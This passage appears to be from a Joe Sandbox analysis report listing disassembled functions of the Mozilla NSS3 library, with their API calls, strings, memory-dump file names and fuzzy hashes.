PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE8CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CE8CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CE8CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CE8CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE8CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CE8CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CE8CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CE8CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CE8CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CE8CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CE8CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CE8CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CE8D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CE8D021

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 6a6d266ab41ec0a4c7586651eb6572e9a840f2c60d3054227a5d07aead0d1188
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 5A3152757579112BEF0E10975C21B9E206A8B6530EF65003DF90FFDBC0F685975702A5

Function 6CF60FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF61000

Part of subcall function 6CF19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE41A48), ref: 6CF19BB3
Part of subcall function 6CF19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE41A48), ref: 6CF19BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF61016

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_Unlock.NSS3(?), ref: 6CF61021

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF61046
PR_Unlock.NSS3(?), ref: 6CF6106B
PR_Lock.NSS3 ref: 6CF61079
PR_Unlock.NSS3 ref: 6CF61096
free.MOZGLUE(?), ref: 6CF610A7
free.MOZGLUE(?), ref: 6CF610B4
PR_DestroyCondVar.NSS3(?), ref: 6CF610BF
PR_DestroyCondVar.NSS3(?), ref: 6CF610CA
PR_DestroyCondVar.NSS3(?), ref: 6CF610D5
PR_DestroyCondVar.NSS3(?), ref: 6CF610E0
PR_DestroyLock.NSS3(?), ref: 6CF610EB
free.MOZGLUE(?), ref: 6CF61105

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: a1599be1184a71e322a6d55543bada7b42529696171a6703837748ccd248bc49
Instruction ID: bb7a55892f17c9f6799b3929e3c27c4138fbf1886b4286fd6d62a0a32b7001e2
Opcode Fuzzy Hash: a1599be1184a71e322a6d55543bada7b42529696171a6703837748ccd248bc49
Instruction Fuzzy Hash: 1D316FB5900802BBDB019F15ED41A45BB76FF01319B288134D40953F61E732F978DBD2

Function 6CDDDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CDDDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CDDDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CDDDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CDDDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDDECD

Strings

%s at line %d of [%.10s], xrefs: 6CDDDF7C, 6CDDDFEC
database corruption, xrefs: 6CDDDF77, 6CDDDFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDDF6D, 6CDDDFCC, 6CDDDFDD

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 3e3ade34e3dce86cfe783280927f527212541adcbebaecbbf54f05c5f6cae339
Instruction ID: 657504cec936f1b726198af4ab7c60cbde664201a86e6dabd6fb2f93f1dd9caa
Opcode Fuzzy Hash: 3e3ade34e3dce86cfe783280927f527212541adcbebaecbbf54f05c5f6cae339
Instruction Fuzzy Hash: F7A1B671A043419FDB10DF29C880A6AB7F5EF85318F16892DE8858BB61D731F945CFA2

Function 6CE9EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CE9EE0B

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9EEE1

Part of subcall function 6CE91D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CE91D7E
Part of subcall function 6CE91D50: EnterCriticalSection.KERNEL32(?), ref: 6CE91D8E
Part of subcall function 6CE91D50: PR_Unlock.NSS3(?), ref: 6CE91DD3

TlsGetValue.KERNEL32 ref: 6CE9EE51
EnterCriticalSection.KERNEL32(?), ref: 6CE9EE65
PR_Unlock.NSS3(?), ref: 6CE9EEA2
free.MOZGLUE(?), ref: 6CE9EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CE9EED0
PR_Unlock.NSS3(?), ref: 6CE9EF48
free.MOZGLUE(?), ref: 6CE9EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CE9EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CE9EFA4
free.MOZGLUE(?), ref: 6CE9EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE9F055
free.MOZGLUE(?), ref: 6CE9F060

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: c7ed8e2679d8435b5eed71f0f7375d69590c2f8aaa67db59b667f786d67c500b
Instruction ID: 96554f39abfa1b84691f7a7d8107fd905be08279950ed8541af33861d223eb0a
Opcode Fuzzy Hash: c7ed8e2679d8435b5eed71f0f7375d69590c2f8aaa67db59b667f786d67c500b
Instruction Fuzzy Hash: 79817275E00609ABDF00DFA5DC85BEE7BB5BF09358F244028E919A3711E731E954CBA1

Function 6CE64CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE64D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE64D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE64DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE64E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE64E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE64E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE64E85
DER_Encode_Util.NSS3(?,?,6CFB05A4,00000000), ref: 6CE64EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE64F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE64F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE64F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE64F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE64F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE64FC8

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 29e4d7f134591c1cae88a331bffe593e46d4da9f73339492874de3b5133e56c1
Instruction ID: d2a4c970f5aeb897f4cbbadc938832c6944a5939833226843180caecaac7a040
Opcode Fuzzy Hash: 29e4d7f134591c1cae88a331bffe593e46d4da9f73339492874de3b5133e56c1
Instruction Fuzzy Hash: 2F81C071A583019FE701CF26D851B5AB7F4AB85308F24892EF958DBB41E731E9058B92

Function 6CEA5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CEA5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CEA5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CEA5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CEA5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CEA5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5E18
TlsGetValue.KERNEL32 ref: 6CEA5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CEA5E72
PR_Unlock.NSS3(?), ref: 6CEA5E8B

Part of subcall function 6CE9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE9F854
Part of subcall function 6CE9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE9F868
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE9F882
Part of subcall function 6CE9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE9F889
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE9F8A4
Part of subcall function 6CE9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE9F8AB
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE9F8C9
Part of subcall function 6CE9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE9F8D0

Strings

d, xrefs: 6CEA5C36
tokens=[0x%x=<%s>], xrefs: 6CEA5D3D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: e139f74333f75b091f247ce0d31d4bff69fe193082326d0658c465ad8e36a05a
Instruction ID: 1537394ea45c457696cdf3f4d02eba8edd49803efded1319eeedc801370f69a4
Opcode Fuzzy Hash: e139f74333f75b091f247ce0d31d4bff69fe193082326d0658c465ad8e36a05a
Instruction Fuzzy Hash: FF71E3B1E06601AFEB009FA4DC4576E7375AF4131CF344439E8099EB42EB36E917C692

Function 6CE98F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CE99582), ref: 6CE98F5B

Part of subcall function 6CEABE30: SECOID_FindOID_Util.NSS3(6CE6311B,00000000,?,6CE6311B,?), ref: 6CEABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CE98F6A

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE98FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CE98FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF7D820,6CE99576), ref: 6CE98FF9
DER_GetInteger_Util.NSS3(?), ref: 6CE9901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CE9903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE99062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CE990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CE990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CE990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CE9912D
free.MOZGLUE(00000000), ref: 6CE99136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE99145

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 0513a3c24328ce2c61f3c068a86fa04351536fef0936476f464284d48f7e2ac7
Instruction ID: 1db336200b021d3cd09bd6e48ab35a144c50b4d0b1a6a6c73b3fb1422aebdfc6
Opcode Fuzzy Hash: 0513a3c24328ce2c61f3c068a86fa04351536fef0936476f464284d48f7e2ac7
Instruction Fuzzy Hash: AF51D1B2A042009FEB10CF29DC41B9BB7F4AF84318F254529E85997751E735E945CB92

Function 6CE4AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE4AF47

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

FreeLibrary.KERNEL32(?), ref: 6CE4AF6D
free.MOZGLUE(?), ref: 6CE4AFA4
free.MOZGLUE(?), ref: 6CE4AFAA
PR_ExitMonitor.NSS3 ref: 6CE4AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE4AFF5
PR_ExitMonitor.NSS3 ref: 6CE4B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE4B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE4B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE4B03C

Strings

Unloaded library %s, xrefs: 6CE4B023
%s decr => %d, xrefs: 6CE4AFF0

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 2cd3ff4d83d5b0b5973c2a365a721f46b3aff920634c8b0446012b98bebd0d82
Instruction ID: f4399ed8710989319086a42e1f23b64c8a7ea266d58070eb7215c6992e4dcbae
Opcode Fuzzy Hash: 2cd3ff4d83d5b0b5973c2a365a721f46b3aff920634c8b0446012b98bebd0d82
Instruction Fuzzy Hash: FB31D4B5F44511ABEB019F65EC82B19B776EB0532DB38C139E80587B40F722E825C7E5

Function 6CE96C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE9781D,00000000,6CE8BE2C,?,6CE96B1D,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE9781D,?,6CE8BE2C,?), ref: 6CE96C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE96C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE96C96

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE96CAA

Strings

dbm:, xrefs: 6CE96C3A
sql:, xrefs: 6CE96C52
NSS_DEFAULT_DB_TYPE, xrefs: 6CE96C91
extern:, xrefs: 6CE96C7E
rdb:, xrefs: 6CE96C69
dbm, xrefs: 6CE96CA4

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: b86d0a08edf9ee7d5bf875924b56e7ab6a3884b9ccf6ae9f1eae2966b7e88702
Instruction ID: a8273d1161c51c89e4fef239ae82fed38083e58e9670bc18c664b318574b23e8
Opcode Fuzzy Hash: b86d0a08edf9ee7d5bf875924b56e7ab6a3884b9ccf6ae9f1eae2966b7e88702
Instruction Fuzzy Hash: EA01A2A1B0230267FA8027BA6D8AF66756C9F4115CF340433FE14E0A81EB93E91580E6

Function 6CEA4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE678F8), ref: 6CEA4E6D

Part of subcall function 6CE409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE406A2,00000000,?), ref: 6CE409F8
Part of subcall function 6CE409E0: malloc.MOZGLUE(0000001F), ref: 6CE40A18
Part of subcall function 6CE409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE40A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE678F8), ref: 6CEA4ED9

Part of subcall function 6CE95920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CE97703,?,00000000,00000000), ref: 6CE95942
Part of subcall function 6CE95920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CE97703), ref: 6CE95954
Part of subcall function 6CE95920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE9596A
Part of subcall function 6CE95920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE95984
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CE95999
Part of subcall function 6CE95920: free.MOZGLUE(00000000), ref: 6CE959BA
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CE959D3
Part of subcall function 6CE95920: free.MOZGLUE(00000000), ref: 6CE959F5
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CE95A0A
Part of subcall function 6CE95920: free.MOZGLUE(00000000), ref: 6CE95A2E
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CE95A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4EB3

Part of subcall function 6CEA4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEA4EB8,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA484C
Part of subcall function 6CEA4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEA4EB8,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA486D
Part of subcall function 6CEA4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CEA4EB8,?), ref: 6CEA4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4EC0

Part of subcall function 6CEA4470: TlsGetValue.KERNEL32(00000000,?,6CE67296,00000000), ref: 6CEA4487
Part of subcall function 6CEA4470: EnterCriticalSection.KERNEL32(?,?,?,6CE67296,00000000), ref: 6CEA44A0
Part of subcall function 6CEA4470: PR_Unlock.NSS3(?,?,?,?,6CE67296,00000000), ref: 6CEA44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CF7DCB0,00000000), ref: 6CEA4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CEA501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA506B

Memory Dump Source

